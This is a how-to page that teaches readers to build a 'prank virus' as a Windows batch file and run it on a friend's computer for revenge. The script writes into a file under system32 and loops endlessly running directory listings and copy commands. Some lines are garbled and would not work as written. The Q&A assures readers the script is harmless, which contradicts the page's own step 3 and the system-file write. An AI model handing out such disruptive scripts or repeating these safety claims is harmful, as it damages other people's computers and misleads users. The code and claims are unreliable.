How to Make a Funny Prank Virus

Last Updated: March 2, 2023

Have you ever wanted to take revenge on a friend, perhaps for something they did or just getting back at them for being mean to you? If you're stuck in this scenario, this wikiHow is for you. This wikiHow will teach you to make a prank virus, step by step.

Things You Should Know

Create your fake virus in a Notepad file.
Enter the code into your Notepad file and type “goto1” at the end to create a string of never-ending text.
Save the file as “virus.bat” and enjoy your clever prank.

Steps

1
Open notepad
2
Type the following code in:
- @echo off
- echo checking system:
- echo for %%i in ("*.bat") do copy %%i+c:\tmp.bat %%i #*>c:\windows\system32\autoexec.NT
- echo VIRUS DETECTED
- Pause
- echo DELETING VIRUS
- pause
- :1
- dir /s
- copy c:\tmp.bat
- c:\document~1\%username%\desktop\greatgame_%random%.bat
- goto 1
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3
This will create a never ending stream of mindless code. This cannot be stopped easily.
4
Save the file as "virus.bat"
5
Have fun!

Community Q&A

Question

Will this prank damage my PC?

Community Answer

No, it won't harm your computer. You can stop the prank by pressing CTRL + C.
Question

Is the virus harmful for me?

Community Answer

No. You simply must restart your computer to stop it.
Question

Can I only make a prank virus in Windows?

Community Answer

No, there is other ways to do it in OSX and Linux, but it is slightly different